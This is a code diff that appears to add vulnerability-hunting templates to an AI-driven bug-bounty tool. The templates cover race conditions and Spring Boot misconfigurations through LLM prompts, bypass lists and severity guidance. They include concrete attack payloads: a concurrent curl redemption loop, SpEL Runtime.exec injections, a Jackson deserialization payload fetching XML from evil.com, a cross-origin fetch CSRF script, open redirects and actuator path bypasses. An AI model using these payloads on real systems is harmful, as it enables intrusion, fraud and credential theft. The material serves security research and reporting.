+
|
|
40
|
+
CORRECT PATTERNS (not vulnerable):
|
|
41
|
+
- SQL: UPDATE accounts SET balance = balance - $amount WHERE id = $id AND balance >= $amount (atomic conditional update)
|
|
42
|
+
- SQL: SELECT ... FOR UPDATE within a transaction (pessimistic locking)
|
|
43
|
+
- MongoDB: findOneAndUpdate with $inc and conditions (atomic)
|
|
44
|
+
- Redis: WATCH/MULTI/EXEC or Lua scripts (atomic operations)
|
|
45
|
+
- Application-level: distributed locks (Redlock), mutex, semaphores
|
|
46
|
+
- Database: serializable isolation level for critical transactions
|
|
47
|
+
- Idempotency keys: reject duplicate requests
|
|
48
|
+
|
|
49
|
+
KNOWN BYPASS TECHNIQUES:
|
|
50
|
+
- Parallel HTTP requests: send 100 identical requests simultaneously
|
|
51
|
+
- HTTP/2 single-packet attack: send multiple requests in one TCP packet for tighter race window
|
|
52
|
+
- Slow network: hold one request open while another completes to widen the race window
|
|
53
|
+
- Batch endpoints: if batch processing doesn't lock across items
|
|
54
|
+
- Websocket messages: concurrent messages processed by different workers
|
|
55
|
+
|
|
56
|
+
RELEVANT SPECIFICATIONS:
|
|
57
|
+
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
|
|
58
|
+
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
|
|
59
|
+
- OWASP Testing Guide: Testing for Race Conditions
|
|
60
|
+
|
|
61
|
+
For each finding, cite the EXACT code where check and action are separated, explain the race window, and describe what concurrent exploitation achieves.`,
|
|
62
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a race condition vulnerability.
|
|
63
|
+
|
|
64
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
65
|
+
|
|
66
|
+
VERIFICATION STEPS:
|
|
67
|
+
1. Identify the check-then-act sequence:
|
|
68
|
+
- What value is read? (balance, stock, coupon status, vote count)
|
|
69
|
+
- What condition is checked? (>= amount, not used, < limit)
|
|
70
|
+
- What action follows? (deduct, mark used, increment)
|
|
71
|
+
2. Confirm the operations are NOT atomic:
|
|
72
|
+
- Is there a database transaction with appropriate isolation level?
|
|
73
|
+
- Is there a SELECT FOR UPDATE or row-level lock?
|
|
74
|
+
- Is there an atomic conditional update (UPDATE ... WHERE condition)?
|
|
75
|
+
- Is there application-level locking (mutex, Redlock)?
|
|
76
|
+
3. Determine the race window:
|
|
77
|
+
- How many milliseconds between check and action?
|
|
78
|
+
- Is there any async I/O (await, callback) between check and action that widens the window?
|
|
79
|
+
4. Determine the impact:
|
|
80
|
+
- What does double-execution achieve? (double spend, double redeem, oversell)
|
|
81
|
+
- Is the impact cumulative? (can attacker repeat indefinitely?)
|
|
82
|
+
|
|
83
|
+
PROOF-OF-CONCEPT:
|
|
84
|
+
\`\`\`bash
|
|
85
|
+
# Send 50 concurrent requests to redeem the same coupon
|
|
86
|
+
for i in $(seq 1 50); do
|
|
87
|
+
curl -X POST /api/redeem \\
|
|
88
|
+
-H "Authorization: Bearer <token>" \\
|
|
89
|
+
-H "Content-Type: application/json" \\
|
|
90
|
+
-d '{"couponCode": "SINGLE_USE_50OFF"}' &
|
|
91
|
+
done
|
|
92
|
+
wait
|
|
93
|
+
|
|
94
|
+
# Check how many times the discount was applied
|
|
95
|
+
curl /api/account/transactions -H "Authorization: Bearer <token>"
|
|
96
|
+
# If discount appears more than once, race condition confirmed
|
|
97
|
+
\`\`\`
|
|
98
|
+
|
|
99
|
+
HTTP/2 single-packet attack (tighter timing):
|
|
100
|
+
\`\`\`python
|
|
101
|
+
# Using h2 library to send multiple requests in one TCP packet
|
|
102
|
+
import h2.connection
|
|
103
|
+
# Build 20 identical POST requests, send all stream headers,
|
|
104
|
+
# then send all DATA frames in a single write() call
|
|
105
|
+
\`\`\`
|
|
106
|
+
|
|
107
|
+
SEVERITY ASSESSMENT:
|
|
108
|
+
- Critical: Financial double-spend (transfer money, withdraw funds, purchase items)
|
|
109
|
+
- Critical: Privilege escalation via concurrent role assignment
|
|
110
|
+
- High: Coupon/voucher/promo code reuse for financial gain
|
|
111
|
+
- High: Inventory oversell leading to business loss
|
|
112
|
+
- Medium: Vote manipulation, rating manipulation
|
|
113
|
+
- Medium: Rate limit bypass via concurrent requests
|
|
114
|
+
- Low: Non-financial counter manipulation
|
|
115
|
+
|
|
116
|
+
RELEVANT SPECIFICATIONS:
|
|
117
|
+
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
|
|
118
|
+
- CWE-367: Time-of-check Time-of-use (TOCTOU)
|
|
119
|
+
- OWASP Race Condition Cheat Sheet
|
|
120
|
+
|
|
121
|
+
Cite exact file paths, line numbers, the non-atomic check-then-act sequence, and the financial or business impact of concurrent exploitation.`,
|
|
122
|
+
knownBypasses: [
|
|
123
|
+
'HTTP/2 single-packet attack: multiple requests in one TCP packet for tighter race window',
|
|
124
|
+
'Parallel HTTP/1.1 requests from multiple connections simultaneously',
|
|
125
|
+
'Slow-read attack: hold one request open to widen race window for another',
|
|
126
|
+
'Batch endpoint abuse: batch processing without per-item locking',
|
|
127
|
+
'WebSocket concurrent messages processed by different worker threads',
|
|
128
|
+
'Idempotency key absence: no deduplication of identical concurrent requests',
|
|
129
|
+
],
|
|
130
|
+
specReferences: [
|
|
131
|
+
'CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)',
|
|
132
|
+
'CWE-367 (Time-of-check Time-of-use Race Condition)',
|
|
133
|
+
'OWASP Testing Guide: Testing for Race Conditions',
|
|
134
|
+
'HTTP/2 RFC 9113 (multiplexed streams enabling single-packet attacks)',
|
|
135
|
+
],
|
|
136
|
+
severityRange: ['medium', 'critical'],
|
|
137
|
+
};
|
|
138
|
+
//# sourceMappingURL=race-condition.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"race-condition.js","sourceRoot":"","sources":["../../../src/hunt/templates/race-condition.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,aAAa,GAA0B;IAClD,EAAE,EAAE,gBAAgB;IACpB,IAAI,EAAE,yBAAyB;IAC/B,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,SAAS,EAAE,UAAU,EAAE,UAAU,EAAE,WAAW,EAAE,OAAO,EAAE,OAAO,EAAE,WAAW,EAAE,MAAM,EAAE,OAAO,EAAE,QAAQ,EAAE,aAAa,EAAE,QAAQ,EAAE,QAAQ,EAAE,QAAQ,EAAE,MAAM,CAAC;IAC7K,gBAAgB,EAAE,EAAE;IACpB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;yJAsDyI;IAEvJ,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8IA2D4H;IAE5I,aAAa,EAAE;QACb,0FAA0F;QAC1F,qEAAqE;QACrE,0EAA0E;QAC1E,iEAAiE;QACjE,qEAAqE;QACrE,4EAA4E;KAC7E;IACD,cAAc,EAAE;QACd,oFAAoF;QACpF,oDAAoD;QACpD,kDAAkD;QAClD,sEAAsE;KACvE;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,UAAU,CAAC;CACtC,CAAC"}
|
|
@@ -0,0 +1,177 @@
|
|
|
1
|
+
export const springMisconfig = {
|
|
2
|
+
id: 'spring-misconfig',
|
|
3
|
+
name: 'Spring/Spring Boot Misconfiguration',
|
|
4
|
+
cwe: 'CWE-16',
|
|
5
|
+
filePatterns: [
|
|
6
|
+
'spring',
|
|
7
|
+
'controller',
|
|
8
|
+
'RequestMapping',
|
|
9
|
+
'GetMapping',
|
|
10
|
+
'PostMapping',
|
|
11
|
+
'SecurityConfig',
|
|
12
|
+
'application.properties',
|
|
13
|
+
'application.yml',
|
|
14
|
+
'WebSecurityConfigurerAdapter',
|
|
15
|
+
],
|
|
16
|
+
negativePatterns: ['test', 'Test', 'spec', 'mock', 'Mock'],
|
|
17
|
+
minMatchScore: 2,
|
|
18
|
+
triagePrompt: `You are a security researcher hunting for Spring/Spring Boot-specific vulnerabilities.
|
|
19
|
+
|
|
20
|
+
These are framework-level footguns that generic templates miss. Focus on:
|
|
21
|
+
|
|
22
|
+
1. SPRING EXPRESSION LANGUAGE (SpEL) INJECTION
|
|
23
|
+
- SpEL allows arbitrary code execution if user input reaches an expression parser
|
|
24
|
+
- Look for \`ExpressionParser\`, \`SpelExpressionParser\`, \`@Value("#{...}")\` with user input
|
|
25
|
+
- Error messages that interpolate user input into SpEL: \`new SpelExpressionParser().parseExpression(userInput)\`
|
|
26
|
+
- Spring Data \`@Query\` with SpEL: \`@Query("select u from User u where u.name = :#{#name}")\` is safe, but dynamic SpEL is not
|
|
27
|
+
- Spring Security expression: \`@PreAuthorize("hasRole('" + userInput + "')")\` — string concat into SpEL = RCE
|
|
28
|
+
|
|
29
|
+
2. ACTUATOR ENDPOINT EXPOSURE
|
|
30
|
+
- Spring Boot Actuator exposes management endpoints: /actuator/env, /actuator/heapdump, /actuator/beans, /actuator/configprops
|
|
31
|
+
- \`/actuator/env\` leaks environment variables (database passwords, API keys)
|
|
32
|
+
- \`/actuator/heapdump\` provides a full JVM heap dump (extract any in-memory secret)
|
|
33
|
+
- \`/actuator/shutdown\` (if enabled) allows remote shutdown — DoS
|
|
34
|
+
- Check \`management.endpoints.web.exposure.include\` — if set to \`*\`, all endpoints are exposed
|
|
35
|
+
- Check whether actuator endpoints require authentication (SecurityConfig must cover /actuator/**)
|
|
36
|
+
- Even with Spring Security, actuator paths may be excluded from auth filters
|
|
37
|
+
|
|
38
|
+
3. MISSING AUTHORIZATION ON CONTROLLERS
|
|
39
|
+
- Controllers without \`@PreAuthorize\`, \`@Secured\`, or \`@RolesAllowed\` annotations
|
|
40
|
+
- SecurityConfig with \`.anyRequest().permitAll()\` or overly broad \`antMatchers\`
|
|
41
|
+
- Method-level security disabled: missing \`@EnableGlobalMethodSecurity\` or \`@EnableMethodSecurity\`
|
|
42
|
+
- REST endpoints accessible without authentication when security filter chain has gaps
|
|
43
|
+
- Check for \`http.authorizeRequests().antMatchers("/api/**").permitAll()\`
|
|
44
|
+
|
|
45
|
+
4. CSRF DISABLED GLOBALLY
|
|
46
|
+
- \`http.csrf().disable()\` or \`http.csrf(csrf -> csrf.disable())\` — common in REST APIs
|
|
47
|
+
- If the app also serves HTML forms or has session-based auth, CSRF disable is dangerous
|
|
48
|
+
- Combined with permissive CORS, this allows cross-origin state-changing requests
|
|
49
|
+
- Check if CSRF is disabled AND CORS allows broad origins — this is the critical combo
|
|
50
|
+
|
|
51
|
+
5. OPEN REDIRECT
|
|
52
|
+
- Spring MVC \`redirect:\` prefix with user-controlled input: \`return "redirect:" + userUrl;\`
|
|
53
|
+
- \`RedirectView\` with user-controlled URL
|
|
54
|
+
- \`HttpServletResponse.sendRedirect(userInput)\`
|
|
55
|
+
- Default Spring Security login success/logout redirect if \`defaultSuccessUrl\` or \`logoutSuccessUrl\` accepts params
|
|
56
|
+
|
|
57
|
+
6. DESERIALIZATION ATTACKS
|
|
58
|
+
- \`@RequestBody\` with polymorphic types (Jackson \`@JsonTypeInfo\` with \`Id.CLASS\` or \`Id.MINIMAL_CLASS\`)
|
|
59
|
+
- \`ObjectMapper\` with \`enableDefaultTyping()\` — allows attacker to specify arbitrary classes
|
|
60
|
+
- Spring Remote (RMI/HTTP Invoker) accepting serialized Java objects
|
|
61
|
+
- \`Jackson2ObjectMapperBuilder\` configuration that enables class-based type info globally
|
|
62
|
+
|
|
63
|
+
7. MASS ASSIGNMENT
|
|
64
|
+
- \`@ModelAttribute\` binding without \`@InitBinder\` field restrictions
|
|
65
|
+
- Attacker can set any public setter on the model object via request parameters
|
|
66
|
+
- Check for sensitive fields: \`role\`, \`admin\`, \`enabled\`, \`authorities\`, \`balance\`
|
|
67
|
+
- \`DataBinder.setDisallowedFields()\` or \`setAllowedFields()\` should be configured
|
|
68
|
+
|
|
69
|
+
8. H2 CONSOLE AND DEV TOOLS
|
|
70
|
+
- \`spring.h2.console.enabled=true\` in production — full SQL console
|
|
71
|
+
- DevTools remote debug enabled in production (\`spring.devtools.remote.secret\`)
|
|
72
|
+
- Spring Boot Admin exposed without auth
|
|
73
|
+
- \`spring.jpa.show-sql=true\` logging SQL with parameter values
|
|
74
|
+
|
|
75
|
+
KNOWN BYPASS TECHNIQUES:
|
|
76
|
+
- SpEL injection via error messages: inject \`#{T(Runtime).getRuntime().exec('cmd')}\` into a field that appears in an error
|
|
77
|
+
- Actuator heapdump credential extraction: download /actuator/heapdump, use jhat/MAT to find strings
|
|
78
|
+
- Spring4Shell pattern (CVE-2022-22965): class loader manipulation via ModelAttribute binding
|
|
79
|
+
- CSRF disable + CORS wildcard: cross-origin PUT/DELETE with credentials
|
|
80
|
+
- Jackson deserialization gadget chains: JNDI lookup, JDBC connection, ClassPathXmlApplicationContext
|
|
81
|
+
- Redirect bypass: \`redirect:https://evil.com\` or \`redirect://evil.com\` depending on Spring version
|
|
82
|
+
- Actuator path traversal: /actuator;/env may bypass path-based security filters
|
|
83
|
+
|
|
84
|
+
RELEVANT REFERENCES:
|
|
85
|
+
- Spring Security Reference Documentation (docs.spring.io/spring-security/reference/)
|
|
86
|
+
- Spring Boot Actuator Documentation (docs.spring.io/spring-boot/docs/current/reference/html/actuator.html)
|
|
87
|
+
- OWASP Java Security Cheat Sheet
|
|
88
|
+
- Spring Expression Language documentation (SpEL)`,
|
|
89
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a Spring/Spring Boot vulnerability.
|
|
90
|
+
|
|
91
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
92
|
+
|
|
93
|
+
For each vulnerability type, build a specific attack scenario:
|
|
94
|
+
|
|
95
|
+
SpEL INJECTION:
|
|
96
|
+
1. Identify where user input reaches a SpEL expression parser
|
|
97
|
+
2. Trace the input from controller parameter to expression evaluation
|
|
98
|
+
3. Craft payload: \`T(java.lang.Runtime).getRuntime().exec('id')\`
|
|
99
|
+
4. For blind SpEL: use time-based payload \`T(Thread).sleep(5000)\` to confirm
|
|
100
|
+
5. Show the exact code path: controller → service → expression parser
|
|
101
|
+
6. Escalate: from code execution to reading files, environment variables, or reverse shell
|
|
102
|
+
|
|
103
|
+
ACTUATOR EXPOSURE:
|
|
104
|
+
1. Confirm which actuator endpoints are exposed: GET /actuator to list them
|
|
105
|
+
2. For /actuator/env: show leaked credentials or API keys
|
|
106
|
+
3. For /actuator/heapdump: describe how to download and analyze with Eclipse MAT
|
|
107
|
+
4. Check SecurityConfig: is /actuator/** excluded from authentication?
|
|
108
|
+
5. Test path bypass: /actuator;/env or /actuator%3b/env (semicolon tricks for Tomcat)
|
|
109
|
+
6. Show impact: credential theft, configuration disclosure, or remote shutdown
|
|
110
|
+
|
|
111
|
+
CSRF + CORS COMBINATION:
|
|
112
|
+
1. Confirm CSRF is disabled in SecurityConfig
|
|
113
|
+
2. Check CORS configuration: is \`allowedOrigins("*")\` or \`allowCredentials(true)\` set?
|
|
114
|
+
3. If CORS allows credentials + broad origins with CSRF disabled:
|
|
115
|
+
4. Craft HTML page: \`<script>fetch('http://target/api/transfer', {method:'POST', credentials:'include', body:...})</script>\`
|
|
116
|
+
5. Show the state-changing operation performed cross-origin
|
|
117
|
+
6. This is higher severity than CSRF or CORS alone
|
|
118
|
+
|
|
119
|
+
DESERIALIZATION:
|
|
120
|
+
1. Find \`@JsonTypeInfo\` annotations with \`use = Id.CLASS\` or \`Id.MINIMAL_CLASS\`
|
|
121
|
+
2. Or find \`enableDefaultTyping()\` on ObjectMapper
|
|
122
|
+
3. Craft JSON payload with malicious type: \`{"@class":"org.springframework.context.support.ClassPathXmlApplicationContext","url":"http://evil.com/malicious.xml"}\`
|
|
123
|
+
4. Show the gadget chain: which classes are available on the classpath?
|
|
124
|
+
5. Common gadgets: JNDI (if JDK < 8u191), JDBC, Spring ClassPathXml, Commons Collections
|
|
125
|
+
|
|
126
|
+
MASS ASSIGNMENT:
|
|
127
|
+
1. Find \`@ModelAttribute\` usage without field restrictions
|
|
128
|
+
2. Identify the target class and its sensitive setters (setRole, setAdmin, setEnabled)
|
|
129
|
+
3. Craft request: \`POST /user/update?name=test&role=ADMIN&enabled=true\`
|
|
130
|
+
4. Confirm Spring binds the extra parameters to the object
|
|
131
|
+
5. Show privilege escalation or unauthorized state change
|
|
132
|
+
6. Check if \`@InitBinder\` with \`setAllowedFields\` or \`setDisallowedFields\` exists
|
|
133
|
+
|
|
134
|
+
OPEN REDIRECT:
|
|
135
|
+
1. Find \`return "redirect:" + param\` or \`RedirectView(url)\` with user input
|
|
136
|
+
2. Craft URL: \`http://target/login?redirect=https://evil.com\`
|
|
137
|
+
3. Confirm redirect happens without validation
|
|
138
|
+
4. Test protocol-relative: \`//evil.com\` and scheme variations: \`redirect:https://evil.com\`
|
|
139
|
+
5. Show use in phishing chain: login page → redirect to credential harvester
|
|
140
|
+
|
|
141
|
+
SEVERITY GUIDANCE:
|
|
142
|
+
- SpEL injection (RCE): Critical
|
|
143
|
+
- Actuator heapdump exposed without auth: Critical
|
|
144
|
+
- Actuator env exposed without auth: High
|
|
145
|
+
- Jackson deserialization with gadget chain: Critical
|
|
146
|
+
- CSRF disabled + CORS with credentials: High
|
|
147
|
+
- Mass assignment to admin/role field: High
|
|
148
|
+
- Open redirect via redirect prefix: Medium
|
|
149
|
+
- H2 console exposed in production: Critical
|
|
150
|
+
|
|
151
|
+
RELEVANT REFERENCES:
|
|
152
|
+
- Spring Security authorization architecture (filter chain ordering)
|
|
153
|
+
- Jackson polymorphic deserialization documentation and known gadgets
|
|
154
|
+
- Spring Boot Actuator endpoint security configuration
|
|
155
|
+
- CVE-2022-22965 (Spring4Shell) analysis for class loader binding attack pattern`,
|
|
156
|
+
knownBypasses: [
|
|
157
|
+
'SpEL injection via error messages or dynamic expression evaluation with user input',
|
|
158
|
+
'Actuator heapdump credential extraction — download JVM heap, search for password strings',
|
|
159
|
+
'Actuator path bypass via semicolon: /actuator;/env bypasses Spring Security path matching on Tomcat',
|
|
160
|
+
'Spring4Shell pattern: class loader manipulation via ModelAttribute parameter binding',
|
|
161
|
+
'CSRF disabled + CORS allowCredentials — cross-origin state-changing requests with session cookies',
|
|
162
|
+
'Jackson deserialization gadget chains via @JsonTypeInfo with Id.CLASS',
|
|
163
|
+
'Open redirect via redirect: prefix with user-controlled URL in controller return value',
|
|
164
|
+
'Mass assignment via @ModelAttribute without @InitBinder field restrictions',
|
|
165
|
+
'H2 console SQL execution at /h2-console when enabled in production',
|
|
166
|
+
],
|
|
167
|
+
specReferences: [
|
|
168
|
+
'Spring Security Reference Documentation',
|
|
169
|
+
'Spring Boot Actuator Endpoint Security',
|
|
170
|
+
'OWASP Java Security Cheat Sheet',
|
|
171
|
+
'Spring Expression Language (SpEL) Documentation',
|
|
172
|
+
'Jackson Polymorphic Deserialization CVEs',
|
|
173
|
+
'CVE-2022-22965 (Spring4Shell) Advisory',
|
|
174
|
+
],
|
|
175
|
+
severityRange: ['medium', 'critical'],
|
|
176
|
+
};
|
|
177
|
+
//# sourceMappingURL=spring-misconfig.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"spring-misconfig.js","sourceRoot":"","sources":["../../../src/hunt/templates/spring-misconfig.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,eAAe,GAA0B;IACpD,EAAE,EAAE,kBAAkB;IACtB,IAAI,EAAE,qCAAqC;IAC3C,GAAG,EAAE,QAAQ;IACb,YAAY,EAAE;QACZ,QAAQ;QACR,YAAY;QACZ,gBAAgB;QAChB,YAAY;QACZ,aAAa;QACb,gBAAgB;QAChB,wBAAwB;QACxB,iBAAiB;QACjB,8BAA8B;KAC/B;IACD,gBAAgB,EAAE,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,CAAC;IAC1D,aAAa,EAAE,CAAC;IAChB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;kDAsEkC;IAEhD,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;iFAkE+D;IAE/E,aAAa,EAAE;QACb,oFAAoF;QACpF,0FAA0F;QAC1F,qGAAqG;QACrG,sFAAsF;QACtF,mGAAmG;QACnG,uEAAuE;QACvE,wFAAwF;QACxF,4EAA4E;QAC5E,oEAAoE;KACrE;IACD,cAAc,EAAE;QACd,yCAAyC;QACzC,wCAAwC;QACxC,iCAAiC;QACjC,iDAAiD;QACjD,0CAA0C;QAC1C,wCAAwC;KACzC;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,UAAU,CAAC;CACtC,CAAC"}
|